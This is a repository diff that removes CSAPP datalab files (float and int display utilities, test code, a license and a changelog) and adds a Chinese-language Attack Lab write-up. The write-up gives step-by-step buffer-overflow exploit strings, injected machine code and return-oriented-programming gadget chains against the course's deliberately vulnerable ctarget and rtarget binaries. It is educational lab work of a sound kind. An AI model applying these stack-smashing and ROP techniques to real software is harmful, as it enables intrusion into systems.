if (exp == EXP_MASK) { | |||
if (frac == 0) { | |||
printf("%cInfinity\n", sign ? '-' : '+'); | |||
} else | |||
printf("Not-A-Number\n"); | |||
} else { | |||
int denorm = (exp == 0); | |||
int uexp = denorm ? 1-BIAS : exp - BIAS; | |||
int mantissa = denorm ? frac : frac + (1<<FRAC_SIZE); | |||
float fman = (float) mantissa / (float) (1<<FRAC_SIZE); | |||
printf("%s. %c%.10f X 2^(%d)\n", | |||
denorm ? "Denormalized" : "Normalized", | |||
sign ? '-' : '+', | |||
fman, uexp); | |||
} | |||
} | |||
/* Extract hex/decimal/or float value from string */ | |||
static int get_num_val(char *sval, unsigned *valp) { | |||
char *endp; | |||
/* See if it's an integer or floating point */ | |||
int ishex = 0; | |||
int isfloat = 0; | |||
int i; | |||
for (i = 0; sval[i]; i++) { | |||
switch (sval[i]) { | |||
case 'x': | |||
case 'X': | |||
ishex = 1; | |||
break; | |||
case 'e': | |||
case 'E': | |||
if (!ishex) | |||
isfloat = 1; | |||
break; | |||
case '.': | |||
isfloat = 1; | |||
break; | |||
default: | |||
break; | |||
} | |||
} | |||
if (isfloat) { | |||
float fval = strtof(sval, &endp); | |||
if (!*endp) { | |||
*valp = *(unsigned *) &fval; | |||
return 1; | |||
} | |||
return 0; | |||
} else { | |||
long long int llval = strtoll(sval, &endp, 0); | |||
long long int upperbits = llval >> 31; | |||
/* will give -1 for negative, 0 or 1 for positive */ | |||
if (valp && (upperbits == 0 || upperbits == -1 || upperbits == 1)) { | |||
*valp = (unsigned) llval; | |||
return 1; | |||
} | |||
return 0; | |||
} | |||
} | |||
void usage(char *fname) { | |||
printf("Usage: %s val1 val2 ...\n", fname); | |||
printf("Values may be given as hex patterns or as floating point numbers\n"); | |||
exit(0); | |||
} | |||
int main(int argc, char *argv[]) | |||
{ | |||
int i; | |||
unsigned uf; | |||
if (argc < 2) | |||
usage(argv[0]); | |||
for (i = 1; i < argc; i++) { | |||
char *sval = argv[i]; | |||
if (get_num_val(sval, &uf)) { | |||
show_float(uf); | |||
} else { | |||
printf("Invalid 32-bit number: '%s'\n", sval); | |||
usage(argv[0]); | |||
} | |||
} | |||
return 0; | |||
} | |||
@ -1,75 +0,0 @@ | |||
/* Display value of fixed point numbers */ | |||
#include <stdlib.h> | |||
#include <stdio.h> | |||
/* Extract hex/decimal/or float value from string */ | |||
static int get_num_val(char *sval, unsigned *valp) { | |||
char *endp; | |||
/* See if it's an integer or floating point */ | |||
int ishex = 0; | |||
int isfloat = 0; | |||
int i; | |||
for (i = 0; sval[i]; i++) { | |||
switch (sval[i]) { | |||
case 'x': | |||
case 'X': | |||
ishex = 1; | |||
break; | |||
case 'e': | |||
case 'E': | |||
if (!ishex) | |||
isfloat = 1; | |||
break; | |||
case '.': | |||
isfloat = 1; | |||
break; | |||
default: | |||
break; | |||
} | |||
} | |||
if (isfloat) { | |||
return 0; /* Not supposed to have a float here */ | |||
} else { | |||
long long int llval = strtoll(sval, &endp, 0); | |||
long long int upperbits = llval >> 31; | |||
/* will give -1 for negative, 0 or 1 for positive */ | |||
if (valp && (upperbits == 0 || upperbits == -1 || upperbits == 1)) { | |||
*valp = (unsigned) llval; | |||
return 1; | |||
} | |||
return 0; | |||
} | |||
} | |||
void show_int(unsigned uf) | |||
{ | |||
printf("Hex = 0x%.8x,\tSigned = %d,\tUnsigned = %u\n", | |||
uf, (int) uf, uf); | |||
} | |||
void usage(char *fname) { | |||
printf("Usage: %s val1 val2 ...\n", fname); | |||
printf("Values may be given in hex or decimal\n"); | |||
exit(0); | |||
} | |||
int main(int argc, char *argv[]) | |||
{ | |||
int i; | |||
unsigned uf; | |||
if (argc < 2) | |||
usage(argv[0]); | |||
for (i = 1; i < argc; i++) { | |||
char *sval = argv[i]; | |||
if (get_num_val(sval, &uf)) { | |||
show_int(uf); | |||
} else { | |||
printf("Cannot convert '%s' to 32-bit number\n", sval); | |||
} | |||
} | |||
return 0; | |||
} | |||
@ -1,124 +0,0 @@ | |||
/* Testing Code */ | |||
#include <limits.h> | |||
#include <math.h> | |||
/* Routines used by floation point test code */ | |||
/* Convert from bit level representation to floating point number */ | |||
float u2f(unsigned u) { | |||
union { | |||
unsigned u; | |||
float f; | |||
} a; | |||
a.u = u; | |||
return a.f; | |||
} | |||
/* Convert from floating point number to bit-level representation */ | |||
unsigned f2u(float f) { | |||
union { | |||
unsigned u; | |||
float f; | |||
} a; | |||
a.f = f; | |||
return a.u; | |||
} | |||
/* Copyright (C) 1991-2020 Free Software Foundation, Inc. | |||
This file is part of the GNU C Library. | |||
The GNU C Library is free software; you can redistribute it and/or | |||
modify it under the terms of the GNU Lesser General Public | |||
License as published by the Free Software Foundation; either | |||
version 2.1 of the License, or (at your option) any later version. | |||
The GNU C Library is distributed in the hope that it will be useful, | |||
but WITHOUT ANY WARRANTY; without even the implied warranty of | |||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU | |||
Lesser General Public License for more details. | |||
You should have received a copy of the GNU Lesser General Public | |||
License along with the GNU C Library; if not, see | |||
<https://www.gnu.org/licenses/>. */ | |||
/* This header is separate from features.h so that the compiler can | |||
include it implicitly at the start of every compilation. It must | |||
not itself include <features.h> or any other header that includes | |||
<features.h> because the implicit include comes before any feature | |||
test macros that may be defined in a source file before it first | |||
explicitly includes a system header. GCC knows the name of this | |||
header in order to preinclude it. */ | |||
/* glibc's intent is to support the IEC 559 math functionality, real | |||
and complex. If the GCC (4.9 and later) predefined macros | |||
specifying compiler intent are available, use them to determine | |||
whether the overall intent is to support these features; otherwise, | |||
presume an older compiler has intent to support these features and | |||
define these macros by default. */ | |||
/* wchar_t uses Unicode 10.0.0. Version 10.0 of the Unicode Standard is | |||
synchronized with ISO/IEC 10646:2017, fifth edition, plus | |||
the following additions from Amendment 1 to the fifth edition: | |||
- 56 emoji characters | |||
- 285 hentaigana | |||
- 3 additional Zanabazar Square characters */ | |||
//1 | |||
int test_bitXor(int x, int y) | |||
{ | |||
return x^y; | |||
} | |||
int test_tmin(void) { | |||
return 0x80000000; | |||
} | |||
//2 | |||
int test_isTmax(int x) { | |||
return x == 0x7FFFFFFF; | |||
} | |||
int test_allOddBits(int x) { | |||
int i; | |||
for (i = 1; i < 32; i+=2) | |||
if ((x & (1<<i)) == 0) | |||
return 0; | |||
return 1; | |||
} | |||
int test_negate(int x) { | |||
return -x; | |||
} | |||
//3 | |||
int test_isAsciiDigit(int x) { | |||
return (0x30 <= x) && (x <= 0x39); | |||
} | |||
int test_conditional(int x, int y, int z) | |||
{ | |||
return x?y:z; | |||
} | |||
int test_isLessOrEqual(int x, int y) | |||
{ | |||
return x <= y; | |||
} | |||
//4 | |||
int test_logicalNeg(int x) | |||
{ | |||
return !x; | |||
} | |||
int test_howManyBits(int x) { | |||
unsigned int a, cnt; | |||
x = x<0 ? -x-1 : x; | |||
a = (unsigned int)x; | |||
for (cnt=0; a; a>>=1, cnt++) | |||
; | |||
return (int)(cnt + 1); | |||
} | |||
//float | |||
unsigned test_floatScale2(unsigned uf) { | |||
float f = u2f(uf); | |||
float tf = 2*f; | |||
if (isnan(f)) | |||
return uf; | |||
else | |||
return f2u(tf); | |||
} | |||
int test_floatFloat2Int(unsigned uf) { | |||
float f = u2f(uf); | |||
int x = (int) f; | |||
return x; | |||
} | |||
// #include "floatPower2.c" |
@ -1,21 +0,0 @@ | |||
MIT License | |||
Copyright (c) 2023 AquaOH | |||
Permission is hereby granted, free of charge, to any person obtaining a copy | |||
of this software and associated documentation files (the "Software"), to deal | |||
in the Software without restriction, including without limitation the rights | |||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |||
copies of the Software, and to permit persons to whom the Software is | |||
furnished to do so, subject to the following conditions: | |||
The above copyright notice and this permission notice shall be included in all | |||
copies or substantial portions of the Software. | |||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | |||
SOFTWARE. |
@ -1,35 +0,0 @@ | |||
### All | |||
A CSAPP LAB | |||
### 2023/10/7 Update: | |||
1. Create A Repo | |||
2. Finish bitXor | |||
3. Finish tmin | |||
### 2023/10/8 Update: | |||
1. Finish isTmax | |||
2. Finish allOddBits | |||
3. Finish negate | |||
4. Finish isAsciiDigit | |||
5. Finish isLessOrEqual | |||
6. Finish logicalNeg | |||
7. Update Makefile | |||
### 2023/10/9 Update: | |||
1. Finish howManyBits | |||
### 2023/10/9 Update: | |||
1. Finish floatScale2 | |||
2. Finish floatFloat2Int | |||
3. Congratulations!Finish datalab! |
@ -0,0 +1,682 @@ | |||
# Attack Lab | |||
10225501432 邓博昊 target66 | |||
## ctarget | |||
使用`gdb ctarget`调试程序 | |||
使用`disass <function>`获得`<function>`的汇编代码 | |||
使用`r -i {phase_i_raw}`带入`exploit string`运行程序 | |||
### Level 1 | |||
`ctarget`程序被调用时,执行`test`函数,`test`函数调用`getbuf`函数 | |||
我们需要将`getbuf`函数在返回时重定向到`touch1`而非继续回到`test`函数 | |||
<big>**1)查看`test`、`touch1`函数C代码**</big> | |||
先贴出题干所给函数代码 | |||
```c | |||
void test() | |||
{ | |||
int val; | |||
val = getbuf(); | |||
printf("No exploit. Getbuf returned 0x%x\n", val); | |||
} | |||
void touch1() { | |||
vlevel = 1; | |||
printf("Touch!: You called touch1()\n"); | |||
validate(1); | |||
exit(0); | |||
} | |||
``` | |||
<big>**2)查看`getbuf`、`touch1`函数汇编代码**</big> | |||
获取`getbuf`、`touch1`函数汇编代码 | |||
```assembly | |||
Dump of assembler code for function getbuf: | |||
0x0000555555401a65 <+0>: sub $0x18,%rsp | |||
0x0000555555401a69 <+4>: mov %rsp,%rdi | |||
0x0000555555401a6c <+7>: call 0x555555401d05 <Gets> | |||
0x0000555555401a71 <+12>: mov $0x1,%eax | |||
0x0000555555401a76 <+17>: add $0x18,%rsp | |||
0x0000555555401a7a <+21>: ret | |||
End of assembler dump. | |||
``` | |||
```assembly | |||
Dump of assembler code for function touch1: | |||
0x0000555555401a7b <+0>: sub $0x8,%rsp | |||
0x0000555555401a7f <+4>: movl $0x1,0x203953(%rip) # 0x5555556053dc <vlevel> | |||
0x0000555555401a89 <+14>: lea 0x1967(%rip),%rdi # 0x5555554033f7 | |||
0x0000555555401a90 <+21>: call 0x555555400e10 <puts@plt> | |||
0x0000555555401a95 <+26>: mov $0x1,%edi | |||
0x0000555555401a9a <+31>: call 0x555555401f75 <validate> | |||
0x0000555555401a9f <+36>: mov $0x0,%edi | |||
0x0000555555401aa4 <+41>: call 0x555555400f80 <exit@plt> | |||
End of assembler dump. | |||
``` | |||
`getbuf`函数开辟了24个字节的栈空间 | |||
<big>**3)构建攻击字符串**</big> | |||
我们目前可以知道的: | |||
* 运行环境为`AMD64 Linux`,使用小端法,内存低位储存低位字节数 | |||
* 栈的生长方向向内存低位生长 | |||
* `getbuf`函数ret地址为%rsp+0x18 | |||
* `touch1`函数入口为`0x0000555555401a7b` | |||
我们需要构建一个字符串,其需要满足的条件: | |||
* 改变`getbuf`函数ret时返回地址,使其变为`0x0000555555401a7b` | |||
* 数字需要的字节数为`24+8 = 32`位 | |||
* 符合小端法 | |||
字符串数据按输入顺序从低地址向高地址存储数据 | |||
无意义的字符均用0表示,我们需要构建的字符串即为 | |||
``` | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
7b 1a 40 55 55 55 00 00 | |||
``` | |||
将上述字符串存入`phase_1.txt` | |||
<big>**4)将字符串转化为字节码并运行程序**</big> | |||
输入以下命令即可完成`touch1` | |||
```bash | |||
./hex2raw < phase_1.txt > phase_1_raw.txt | |||
gdb ctarget | |||
r -i phase_1_raw.txt | |||
``` | |||
### Level 2 | |||
任务要求`ctarget`程序执行`touch2`函数,而非返回`test`函数 | |||
<big>**1)查看`touch2`函数C代码**</big> | |||
题干所给`touch2`函数C代码如下 | |||
```c | |||
void touch2(unsigned val){ | |||
vlevel = 2; /* Part of validation protocol */ | |||
if (val == cookie){ | |||
printf("Touch2!: You called touch2(0x%.8x)\n", val); | |||
validate(2); | |||
} else { | |||
printf("Misfire: You called touch2(0x%.8x)\n", val); | |||
fail(2); | |||
} | |||
exit(0); | |||
} | |||
``` | |||
`touch2`函数要求传入一个参数`val`,只有`val`和`cookie`值相同程序才执行成功 | |||
<big>**2)查看`touch2`函数汇编代码**</big> | |||
`touch`函数汇编代码如下 | |||
```assembly | |||
Dump of assembler code for function touch2: | |||
0x0000555555401aa9 <+0>: sub $0x8,%rsp | |||
0x0000555555401aad <+4>: mov %edi,%edx | |||
0x0000555555401aaf <+6>: movl $0x2,0x203923(%rip) # 0x5555556053dc <vlevel> | |||
0x0000555555401ab9 <+16>: cmp %edi,0x203925(%rip) # 0x5555556053e4 <cookie> | |||
0x0000555555401abf <+22>: je 0x555555401aeb <touch2+66> | |||
0x0000555555401ac1 <+24>: lea 0x1980(%rip),%rsi # 0x555555403448 | |||
0x0000555555401ac8 <+31>: mov $0x1,%edi | |||
0x0000555555401acd <+36>: mov $0x0,%eax | |||
0x0000555555401ad2 <+41>: call 0x555555400f30 <__printf_chk@plt> | |||
0x0000555555401ad7 <+46>: mov $0x2,%edi | |||
0x0000555555401adc <+51>: call 0x555555402045 <fail> | |||
0x0000555555401ae1 <+56>: mov $0x0,%edi | |||
0x0000555555401ae6 <+61>: call 0x555555400f80 <exit@plt> | |||
0x0000555555401aeb <+66>: lea 0x192e(%rip),%rsi # 0x555555403420 | |||
0x0000555555401af2 <+73>: mov $0x1,%edi | |||
0x0000555555401af7 <+78>: mov $0x0,%eax | |||
0x0000555555401afc <+83>: call 0x555555400f30 <__printf_chk@plt> | |||
0x0000555555401b01 <+88>: mov $0x2,%edi | |||
0x0000555555401b06 <+93>: call 0x555555401f75 <validate> | |||
0x0000555555401b0b <+98>: jmp 0x555555401ae1 <touch2+56> | |||
End of assembler dump. | |||
``` | |||
则`touch2`函数入口地址为`0x0000555555401aa9` | |||
<big>**3)构建汇编代码**</big> | |||
实验给出的建议: | |||
- 使用ret指令调用touch2函数 | |||
- touch2的参数要存在rdi寄存器中 | |||
- 插入的代码应该设置寄存器存着Cookie,然后再返回touch2 | |||
- 不用jmp和call指令 | |||
- 使用gcc和objdump生成要插入代码的字节码格式 | |||
我的`cookie = 0x3e8dee8f` | |||
则我们需要构建的汇编代码应该为 | |||
```assembly | |||
movq $0x3e8dee8f,%rdi | |||
movq $0x0000555555401aa9,%rsi # 存储touch2入口地址 | |||
push %rsi | |||
ret | |||
``` | |||
将上述代码存储在`phase_2_assembly.s` | |||
<big>**4)获得机械码**</big> | |||
使用如下命令生成并反编译获得机械码 | |||
```bash | |||
gcc -c phase_2_assembly.s -o phase_2_assembly.o | |||
objdump -d phase_2_assembly.o > phase_2_assembly.d | |||
``` | |||
打开`phase_2_assembly.d` | |||
```assembly | |||
Disassembly of section .text: | |||
0000000000000000 <.text>: | |||
0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi | |||
7: 48 be a9 1a 40 55 55 movabs $0x555555401aa9,%rsi | |||
e: 55 00 00 | |||
11: 56 push %rsi | |||
12: c3 ret | |||
``` | |||
则这段程序机械码为 | |||
``` | |||
48 c7 c7 8f ee 8d 3e 48 be a9 1a 40 55 55 55 00 00 56 c3 | |||
``` | |||
<big>**5)构建攻击字符串**</big> | |||
思路为: | |||
* `getbuff`函数获取攻击字符串 | |||
* 字符串使得`getbuff`函数返回至`buff`数组起点 | |||
* `buff`数组起点按顺序储存机械码 | |||
* 程序按照储存的机械码执行我们设计好的汇编指令 | |||
因此我们需要查看`buff`数组起点的内存地址,即`%rsp`储存的内容 | |||
由Level 1中`getbuf`函数汇编代码可知,`getbuf`函数入口为`0x0000555555401a65` | |||
使用如下命令: | |||
```bash | |||
gdb ctarget | |||
b *0x0000555555401a65 | |||
r -qi phase_1_raw.txt | |||
stepi | |||
p &rsp | |||
``` | |||
输出: | |||
```bash | |||
$1 = (void *) 0x55621b58 | |||
``` | |||
故构建如下字符串 | |||
``` | |||
48 c7 c7 8f ee 8d 3e 48 | |||
be a9 1a 40 55 55 55 00 | |||
00 56 c3 00 00 00 00 00 | |||
58 1b 62 55 00 00 00 00 | |||
``` | |||
将上述字符串储存在`phase_2.txt`中 | |||
<big>**6)将字符串转化为字节码并运行程序**</big> | |||
输入以下命令即可完成`touch2` | |||
```bash | |||
./hex2raw < phase_2.txt > phase_2_raw.txt | |||
gdb ctarget | |||
r -i phase_2_raw.txt | |||
``` | |||
### Level 3 | |||
任务要求`ctarget`程序执行`touch3`函数,而非返回`test`函数 | |||
注意`touch3`函数内部调用了`hexmatch`函数 | |||
<big>**1)查看`touch3`、`hexmatch`函数C代码**</big> | |||
```C | |||
int hexmatch(unsigned val, char *sval){ | |||
char cbuf[110]; | |||
char *s = cbuf + random() % 100; | |||
sprintf(s, "%.8x", val); | |||
return strncmp(sval, s, 9) == 0; | |||
} | |||
void touch3(char *sval){ | |||
vlevel = 3; | |||
if (hexmatch(cookie, sval)){ | |||
printf("Touch3!: You called touch3(\"%s\")\n", sval); | |||
validate(3); | |||
} else { | |||
printf("Misfire: You called touch3(\"%s\")\n", sval); | |||
fail(3); | |||
} | |||
exit(0); | |||
} | |||
``` | |||
hexmatch需要传入`cookie`值,并且需要将`cookie`值以字符串形式传入 | |||
<big>**2)查看`test`、`touch3`函数汇编代码**</big> | |||
```assembly | |||
Dump of assembler code for function test: | |||
0x0000555555401c32 <+0>: sub $0x8,%rsp | |||
0x0000555555401c36 <+4>: mov $0x0,%eax | |||
0x0000555555401c3b <+9>: call 0x555555401a65 <getbuf> | |||
0x0000555555401c40 <+14>: mov %eax,%edx | |||
0x0000555555401c42 <+16>: lea 0x1877(%rip),%rsi # 0x5555554034c0 | |||
0x0000555555401c49 <+23>: mov $0x1,%edi | |||
0x0000555555401c4e <+28>: mov $0x0,%eax | |||
0x0000555555401c53 <+33>: call 0x555555400f30 <__printf_chk@plt> | |||
0x0000555555401c58 <+38>: add $0x8,%rsp | |||
0x0000555555401c5c <+42>: ret | |||
End of assembler dump. | |||
``` | |||
```assembly | |||
Dump of assembler code for function touch3: | |||
0x0000555555401bc0 <+0>: push %rbx | |||
0x0000555555401bc1 <+1>: mov %rdi,%rbx | |||
0x0000555555401bc4 <+4>: movl $0x3,0x20380e(%rip) # 0x5555556053dc <vlevel> | |||
0x0000555555401bce <+14>: mov %rdi,%rsi | |||
0x0000555555401bd1 <+17>: mov 0x20380d(%rip),%edi # 0x5555556053e4 <cookie> | |||
0x0000555555401bd7 <+23>: call 0x555555401b0d <hexmatch> | |||
0x0000555555401bdc <+28>: test %eax,%eax | |||
0x0000555555401bde <+30>: je 0x555555401c0d <touch3+77> | |||
0x0000555555401be0 <+32>: mov %rbx,%rdx | |||
0x0000555555401be3 <+35>: lea 0x1886(%rip),%rsi # 0x555555403470 | |||
0x0000555555401bea <+42>: mov $0x1,%edi | |||
0x0000555555401bef <+47>: mov $0x0,%eax | |||
0x0000555555401bf4 <+52>: call 0x555555400f30 <__printf_chk@plt> | |||
0x0000555555401bf9 <+57>: mov $0x3,%edi | |||
0x0000555555401bfe <+62>: call 0x555555401f75 <validate> | |||
0x0000555555401c03 <+67>: mov $0x0,%edi | |||
0x0000555555401c08 <+72>: call 0x555555400f80 <exit@plt> | |||
0x0000555555401c0d <+77>: mov %rbx,%rdx | |||
0x0000555555401c10 <+80>: lea 0x1881(%rip),%rsi # 0x555555403498 | |||
0x0000555555401c17 <+87>: mov $0x1,%edi | |||
0x0000555555401c1c <+92>: mov $0x0,%eax | |||
0x0000555555401c21 <+97>: call 0x555555400f30 <__printf_chk@plt> | |||
0x0000555555401c26 <+102>: mov $0x3,%edi | |||
0x0000555555401c2b <+107>: call 0x555555402045 <fail> | |||
0x0000555555401c30 <+112>: jmp 0x555555401c03 <touch3+67> | |||
End of assembler dump. | |||
``` | |||
可以看出: | |||
* `test`函数入口为`0x0000555555401c32` | |||
* `touch3`函数入口为`0x0000555555401bc0` | |||
<big>**3)构建汇编代码**</big> | |||
阅读题干所给提示: | |||
* 需要一个字符串表示`cookie`值,不需要表示开头`0x` | |||
* 在C语言中字符串是以`\0`结尾,所以在字符串序列的结尾是一个字节0 | |||
* `man ascii` 可以用来查看每个字符的16进制表示 | |||
* 需要在`%rdi`寄存器内储存字符串的地址 | |||
* 当调用`hexmatch`和`strncmp`时,他们会把数据压入到栈中,有可能会覆盖`getbuf`栈帧的数据,所以传进去字符串的位置必须小心谨慎 | |||
因此汇编代码设计思路为: | |||
* 将字符串写入到不容易被覆盖的`test`函数栈空间,将该地址送入`%rdi`寄存器 | |||
* 压入含`touch3`入口地址的寄存器 | |||
* ret返回 | |||
注意`cookie`值需要转化为16进制ASCII码表示后使用 | |||
根据题目提示`0x`不需要表示,并且字符串结尾为0字节,则对应ASCII码表示为 | |||
``` | |||
0x3e8dee8f >> 33 65 38 64 65 65 38 66 00 | |||
``` | |||
我们还需要知道`test函数`栈帧地址 | |||
输入以下命令查看 | |||
```assembly | |||
gdb ctarget | |||
b *0x0000555555401c32 # test函数入口 | |||
r -qi phase_1_raw.txt | |||
stepi | |||
p $rsp | |||
``` | |||
结果显示 | |||
```bash | |||
$1 = (void *) 0x55621b78 | |||
``` | |||
因此我们需要构建的汇编代码为 | |||
```assembly | |||
movq $0x55621b78,%rdi | |||
movq $0x0000555555401bc0,%rdx | |||
push %rdx | |||
ret | |||
``` | |||
将上述内容储存在`phase_3_assembly.s` | |||
<big>**4)获得机械码**</big> | |||
输入以下命令获得机械码 | |||
```bash | |||
gcc -c phase_3_assembly.s -o phase_3_assembly.o | |||
objdump -d phase_3_assembly.o > phase_3_assembly.d | |||
``` | |||
打开`phase_3_assembly.d` | |||
```assembly | |||
Disassembly of section .text: | |||
0000000000000000 <.text>: | |||
0: 48 c7 c7 78 1b 62 55 mov $0x55621b78,%rdi | |||
7: 48 ba c0 1b 40 55 55 movabs $0x555555401bc0,%rdx | |||
e: 55 00 00 | |||
11: 52 push %rdx | |||
12: c3 ret | |||
``` | |||
则机械码为 | |||
``` | |||
48 c7 c7 78 1b 62 55 48 ba c0 1b 40 55 55 55 00 00 52 c3 | |||
``` | |||
<big>**5)构建攻击字符串**</big> | |||
思路为: | |||
* `getbuff`函数获取攻击字符串 | |||
* 字符串足够长,使得`cookie`的16进制值储存在test栈空间 | |||
* 字符串使得`getbuff`函数返回至`buff`数组起点 | |||
* `buff`数组起点按顺序储存机械码 | |||
* 程序按照储存的机械码执行我们设计好的汇编指令 | |||
`buff`数组起点的内存地址由Level 2可知为`0x55621b58` | |||
故构建如下字符串 | |||
``` | |||
48 c7 c7 78 1b 62 55 48 | |||
ba c0 1b 40 55 55 55 00 | |||
00 52 c3 00 00 00 00 00 | |||
58 1b 62 55 00 00 00 00 | |||
33 65 38 64 65 65 38 66 | |||
00 | |||
``` | |||
将上述字符串储存在`phase_3.txt`中 | |||
<big>**6)将字符串转化为字节码并运行程序**</big> | |||
输入以下命令即可完成`touch3` | |||
```bash | |||
./hex2raw < phase_3.txt > phase_3_raw.txt | |||
gdb ctarget | |||
r -i phase_3_raw.txt | |||
``` | |||
## rtarget | |||
题干所给信息翻译如下: | |||
> 这一部分攻击rtarget程序,但是这个程序使用了两种技术防止代码注入攻击: | |||
> | |||
> - 每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址 | |||
> - 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误 | |||
> | |||
> 所以只能利用已有的可执行的代码,来完成我们的操作,称为`retrun-oriented programming(ROP)`,策略就是找到现存代码中的若干条指令,这些指令后面跟着指令ret,每次return相当于从一个gadget跳转到另一个gadget中,然后通过这样不断跳转来完成我们想要的操作。 | |||
使用如下命令获得`farm.c`的反汇编 | |||
``` | |||
gcc -c -Og farm.c | |||
objdump -d farm.o > farm.d | |||
``` | |||
### Level 2 | |||
这一关要求我们重复上一部分Level 2的攻击,但是无法对rtarget进行代码注入攻击,我们只能使用ROP攻击:利用farm.c中的程序的gadget,构造我们需要的指令,在rtarget中执行 | |||
<big>**1)选取gadgets**</big> | |||
阅读题目提示: | |||
* 我们利用的gadget是从startfarm到midfarm之间的 | |||
* 只需要两个gadget | |||
* 当使用popq指令时,你的exploit string中必须含有一个地址和data | |||
因此我们需要的汇编指令为 | |||
```assembly | |||
popq %rax | |||
movq %rax,%rdi | |||
``` | |||
对应的编码为 | |||
``` | |||
popq %rax > 58 | |||
movq %rax,%rdi > 48 89 c7 | |||
``` | |||
`popq %rax`对应函数为 | |||
```assembly | |||
Dump of assembler code for function getval_373: | |||
0x0000555555401c70 <+0>: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax | |||
0x0000555555401c75 <+5>: c3 ret | |||
End of assembler dump. | |||
``` | |||
我们得出`popq %rax`指令的地址为`0x0000555555401c70+0x4 =0x0000555555401c74` | |||
`movq %rax,%rdi`对应函数为 | |||
```assembly | |||
Dump of assembler code for function getval_424: | |||
0x0000555555401c84 <+0>: b8 48 89 c7 c3 mov $0xc3c78948,%eax | |||
0x0000555555401c89 <+5>: c3 ret | |||
End of assembler dump. | |||
``` | |||
我们得出`movq %rax,%rdi`指令的地址为`0x0000555555401c84+0x1 =0x0000555555401c85` | |||
反汇编得`touch2`函数入口为`0x0000555555401aa9 ` | |||
<big>**2)构建攻击字符串**</big> | |||
需要使用的地址 | |||
``` | |||
0x0000555555401aa9 # touch2函数入口地址 | |||
0x0000555555401c85 # 48 89 c7 movq %rax, %rdi | |||
0x3e8dee8f # cookie | |||
0x0000555555401c74 # 58 popq %rax | |||
``` | |||
构建的`phase_4.txt`如下 | |||
``` | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
74 1c 40 55 55 55 00 00 | |||
8f ee 8d 3e 00 00 00 00 | |||
85 1c 40 55 55 55 00 00 | |||
a9 1a 40 55 55 55 00 00 | |||
``` | |||
<big>**3)将字符串转化为字节码并运行程序**</big> | |||
输入以下命令即可完成`touch2` | |||
```bash | |||
./hex2raw < phase_4.txt > phase_4_raw.txt | |||
gdb rtarget | |||
r -i phase_4_raw.txt | |||
``` | |||
### Level 3 | |||
这一关要求我们重复上一部分Level 3的攻击,使用ROP攻击的形式。 | |||
<big>**1)选取gadgets**</big> | |||
阅读题目提示: | |||
* 建议查看movl指令对4字节以上操作的影响 | |||
* 官方解决方法用了8个gadgets | |||
由`ctarget level 3`可知,`cookie`的ASCII字符串表示为 | |||
``` | |||
0x3e8dee8f >> 33 65 38 64 65 65 38 66 00 | |||
``` | |||
因为栈地址随机,因此需要找到基准地址,此处选取%rsp | |||
具体操作: | |||
- 把%rsp里的栈指针地址放到%rdi | |||
- 拿到bias的值放到%rsi | |||
- 利用add xy,把栈指针地址和bias加起来放到%rax,再传到%rdi | |||
- 调用touch3 | |||
因此我们需要的汇编指令为 | |||
``` | |||
movq %rsp,%rax | |||
movq %rax,%rdi | |||
popq %rax | |||
movl %eax,%edx | |||
movl %edx,%ecx | |||
movl %ecx,%esi | |||
lea (%rdi,%rsi,1),%rax | |||
movq %rax,%rdi | |||
``` | |||
对应的编码、函数、地址为 | |||
``` | |||
movq %rsp,%rax > 48 89 e0 > addval_101 > 0x0000555555401cb3 | |||
movq %rax,%rdi > 48 89 c7 > setval_417 > 0x0000555555401c8c | |||
popq %rax > 58 > getval_373 > 0x0000555555401c74 | |||
movl %eax,%edx > 89 c2 > addval_467 > 0x0000555555401ca5 | |||
movl %edx,%ecx > 89 d1 > setval_191 > 0x0000555555401cac | |||
movl %ecx,%esi > 89 ce > setval_422 > 0x0000555555401cd5 | |||
lea (%rdi,%rsi,1),%rax > 48 8d 04 37 > add_xy > 0x0000555555401c9e | |||
movq %rax,%rdi > 48 89 c7 > getval_424 > 0x0000555555401c85 | |||
``` | |||
<big>**2)构建攻击字符串**</big> | |||
需要使用的地址 | |||
``` | |||
0x0000555555401cb3 # movq %rsp,%rax | |||
0x0000555555401c8c # movq %rax,%rdi | |||
0x0000555555401c74 # popq %rax | |||
0x48 # bias = 9*8-->0x48 | |||
0x0000555555401ca5 # movl %eax,%edx | |||
0x0000555555401cac # movl %edx,%ecx | |||
0x0000555555401cd5 # movl %ecx,%esi | |||
0x0000555555401c9e # lea (%rdi,%rsi,1),%rax | |||
0x0000555555401c85 # movq %rax,%rdi | |||
0x0000555555401bc0 # touch3 | |||
0x3365386465653866 # hex cookie string | |||
``` | |||
构建的攻击字符串为 | |||
``` | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 | |||
b3 1c 40 55 55 55 00 00 | |||
8c 1c 40 55 55 55 00 00 | |||
74 1c 40 55 55 55 00 00 | |||
48 00 00 00 00 00 00 00 | |||
a5 1c 40 55 55 55 00 00 | |||
ac 1c 40 55 55 55 00 00 | |||
d5 1c 40 55 55 55 00 00 | |||
9e 1c 40 55 55 55 00 00 | |||
85 1c 40 55 55 55 00 00 | |||
c0 1b 40 55 55 55 00 00 | |||
33 65 38 64 65 65 38 66 | |||
``` | |||
保存为`phase_5.txt` | |||
<big>**3)将字符串转化为字节码并运行程序**</big> | |||
